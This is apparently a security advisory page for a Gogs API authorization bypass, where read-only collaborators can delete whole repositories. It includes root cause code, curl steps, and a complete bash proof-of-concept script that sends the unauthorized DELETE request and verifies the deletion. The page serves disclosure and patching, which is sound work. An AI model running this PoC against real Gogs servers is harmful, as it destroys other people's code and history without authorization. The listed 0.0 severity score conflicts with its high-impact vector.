GHSA-rjv5-9px2-fqw6 CVE-2025-65852 GO-2026-4457
Gogs has authorization bypass in repository deletion API
- Severity
- 0.0 / 10
- Medium · CVSS 4.0
- Exploit chance (EPSS)
- —
- No score published
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-284 Improper Access Control
- Fix
0.13.4- Upgrade gogs.io/gogs to this version or later
Description
Summary
The DELETE /api/v1/repos/:owner/:repo endpoint lacks necessary permission validation middleware. Consequently, any user with read access (including read-only collaborators) can delete the entire repository.
This vulnerability stems from the API route configuration only utilizing the repoAssignment() middleware (which only verifies read access) without enforcing reqRepoOwner() or reqRepoAdmin().
Details
- vulnerability location:
- Vulnerable Endpoint:DELETE /api/v1/repos/:owner/:repo
- Routing configuration file: internal/route/api/v1/api.go (approximately line 253)
- Function handling file: internal/route/api/v1/repo/repo.go (approximately lines 320-338)
- Root Cause Analysis
Code Location 1: API Route Configuration (internal/route/api/v1/api.go ~ line 253)
// 当前的路由配置(存在漏洞)
m.Delete("", repo.Delete) // 仅继承了外层的 repoAssignment() 中间件
Code Location 2: Delete Function Implementation (internal/route/api/v1/repo/repo.go ~ lines 320-338)
// Delete 函数内部没有额外的权限检查
func Delete(c *context.APIContext) {
// 直接执行删除操作,未验证用户是否为所有者
if err := models.DeleteRepository(c.User.ID, c.Repo.Repository.ID); err != nil {
c.Error(500, "DeleteRepository", err)
return
}
c.Status(204)
}
- Missing Permission Check Comparison with route configurations for other sensitive operations:
// Webhooks 管理(正确实现)
m.Group("/hooks", func() {
m.Combo("").
Get(repo.ListHooks).
Post(bind(api.CreateHookOption{}), repo.CreateHook)
}, reqRepoAdmin()) // ✅ 使用了权限中间件
// 部署密钥管理(正确实现)
m.Group("/keys", func() {
m.Combo("").
Get(repo.ListDeployKeys).
Post(bind(api.CreateKeyOption{}), repo.CreateDeployKey)
}, reqRepoAdmin()) // ✅ 使用了权限中间件
// 删除仓库(漏洞)
m.Delete("", repo.Delete) // ❌ 没有使用权限中间件
- Data Flow Path
- API Request Path: DELETE /api/v1/repos/:owner/:repo
- Route Handling: The outer middleware repoAssignment() verifies that the user has read access (Passed).
- Execution: The system directly executes the repo.Delete() function.
- Permission Check: The reqRepoOwner() middleware check is missing.
- Internal Validation: There is no permission validation inside the Delete() function either.
- Result: Any user with read permission can delete the repository.
PoC
Prerequisites
- A running Gogs instance.
- The attacker's account is added as a collaborator to the target repository (Read access is sufficient).
- The attacker possesses a valid API access token.
- The target repository exists and is accessible.
📜 Test Steps (Bash)
-
Verify Gogs service is running curl -I http://localhost:10880
-
Create test accounts and repository
- Owner account: owner / owner123456
- Read-only account: victim / victim123456
- Test repository: owner/delete-test <img width="1580" height="832" alt="image" src="https://github.com/user-attachments/assets/d1babac8-d952-4765-ba34-d4891c12b8db" />
-
Add 'victim' as a read-only collaborator Perform this via the Web UI or API <img width="1597" height="725" alt="image" src="https://github.com/user-attachments/assets/f76db1d4-9e45-4a97-af22-50db124ec4d0" /> <img width="1597" height="760" alt="image" src="https://github.com/user-attachments/assets/f6ef3bd9-47d4-4202-bf10-2022be557f16" />
-
Obtain API token for 'victim' curl -X POST http://localhost:10880/api/v1/users/victim/tokens
-u victim:victim123456
-H "Content-Type: application/json"
-d '{"name":"test-token"}' -
Resource deleted <img width="1602" height="483" alt="image" src="https://github.com/user-attachments/assets/3e77aaaa-ffbc-4521-be4b-9a62f36499ff" /> Web UI:Target repository deletion successful <img width="1581" height="853" alt="image" src="https://github.com/user-attachments/assets/fbd6b4a4-c874-44f9-9b6e-765371eddcc7" />
📜 PoC Script
#!/bin/bash
# Gogs 仓库删除授权绕过漏洞 PoC
# ============ 配置信息 ============
GOGS_URL="http://localhost:10880"
TARGET_REPO="owner/delete-test"
VICTIM_TOKEN="your_victim_read_only_token_here"
# ============ 执行攻击 ============
echo "========================================"
echo "Gogs 仓库删除授权绕过漏洞 PoC"
echo "========================================"
echo ""
echo "目标仓库: $TARGET_REPO"
echo "攻击者权限: Read(只读)"
echo "预期行为: 403 Forbidden(应该被拒绝)"
echo ""
# 步骤1:验证仓库存在
echo "[步骤1] 验证目标仓库存在..."
REPO_CHECK=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: token $VICTIM_TOKEN" \
"$GOGS_URL/api/v1/repos/$TARGET_REPO")
if [ "$REPO_CHECK" == "200" ]; then
echo "✓ 仓库存在且可访问"
else
echo "✗ 仓库不存在或无权访问 (状态码: $REPO_CHECK)"
exit 1
fi
# 步骤2:尝试删除仓库(漏洞利用)
echo ""
echo "[步骤2] 使用只读权限尝试删除仓库..."
DELETE_RESPONSE=$(curl -s -w "\nHTTP_CODE:%{http_code}" \
-X DELETE \
-H "Authorization: token $VICTIM_TOKEN" \
"$GOGS_URL/api/v1/repos/$TARGET_REPO")
DELETE_CODE=$(echo "$DELETE_RESPONSE" | grep "HTTP_CODE:" | cut -d: -f2)
echo "实际状态码: $DELETE_CODE"
echo ""
# 步骤3:验证结果
if [ "$DELETE_CODE" == "204" ] || [ "$DELETE_CODE" == "200" ]; then
echo "========================================"
echo "🔴 漏洞确认:删除成功!"
echo "========================================"
echo ""
echo "只读权限用户成功删除了仓库!"
echo ""
# 验证仓库是否真的被删除
sleep 2
echo "验证仓库是否真的被删除..."
VERIFY_CHECK=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: token $VICTIM_TOKEN" \
"$GOGS_URL/api/v1/repos/$TARGET_REPO")
if [ "$VERIFY_CHECK" == "404" ]; then
echo "✗ 仓库已被完全删除(404 Not Found)"
echo ""
echo "危害确认:"
echo " - 仓库及所有数据永久丢失"
echo " - 代码历史记录不可恢复"
echo " - 这是一个 HIGH 级别的严重漏洞"
else
echo "? 仓库状态未知 (状态码: $VERIFY_CHECK)"
fi
elif [ "$DELETE_CODE" == "403" ]; then
echo "========================================"
echo "✅ 无漏洞:操作被正确拒绝"
echo "========================================"
echo ""
echo "只读权限用户无法删除仓库,权限检查正常"
else
echo "========================================"
echo "⚠️ 未预期的响应"
echo "========================================"
echo ""
echo "状态码: $DELETE_CODE"
echo "这可能表示 API 端点不存在或其他错误"
fi
echo ""
echo "========================================"
echo "PoC 执行完成"
echo "========================================"
Impact
Vulnerability Type: Broken Access Control (CWE-284)
Description: A critical authorization bypass vulnerability exists in the Gogs API. The access control mechanism fails to properly validate permissions for destructive operations.
Consequences: An authenticated attacker with low-level privileges (e.g., a collaborator with Read-Only access) can exploit this vulnerability to issue unauthorized DELETE requests. This allows the attacker to permanently delete entire repositories, resulting in the immediate loss of all source code, git history, issues, and wiki documentation.
Severity: This vulnerability poses a critical risk to data integrity and availability, potentially leading to irreversible data loss and significant operational disruption for affected organizations.
The Core Risk: Privilege Escalation & Data Destruction The most critical aspect of this vulnerability is the violation of the Principle of Least Privilege. It allows a user with the lowest level of access (Read-Only) to execute the most destructive action possible (Delete).
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| gogs.io/gogs | < 0.13.4 |
0.13.4 |
| gogs.io/gogs | all versions |
No fix yet |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
gogs.io/gogs Go → 0.13.4
- go
go get gogs.io/gogs@v0.13.4 && go mod tidy
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Proof of concept
Weakness
CWE-284: Improper Access Control
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
How to prevent it
- Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-mq8m-42gh-wq7r Gogs vulnerable to a bypass of CVE-2024-55947 | High Known exploited | Also affects gogs.io/gogs |
| GHSA-3w28-36p9-w929 Gogs's Unauthenticated Jupyter Notebook (ipynb) Sanitizer allows arbitrary data: URIs leading to XSS | Medium | Also affects gogs.io/gogs |
| GHSA-744x-3838-5r56 Gogs Vulnerable to Unauthenticated Organization Teams Information Disclosure via API | Medium | Also affects gogs.io/gogs |
| GHSA-xp79-5mx3-jx52 Gogs has Unauthenticated Asymmetric Denial of Service (DoS) via SSH Handshake Stall (File Descriptor Exhaustion) | Medium | Also affects gogs.io/gogs |
| GHSA-c39w-43gm-34h5 Gogs has Path Traversal in organization name that results in RCE through Git hooks | Critical | Also affects gogs.io/gogs |
| GHSA-6p9m-q3jp-47h4 Gogs: LFS dedupe path leaks private repo content across tenants | High | Also affects gogs.io/gogs |
| GHSA-89mr-xqfv-758m Gogs: UploadRepoFiles writes outside repo working tree via committed parent sym | Critical | Also affects gogs.io/gogs |
| GHSA-wmfg-5p4h-5fw3 Gogs allows users to write to readonly repositories using receive-pack + service=git-upload-pack confusion | High | Also affects gogs.io/gogs |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor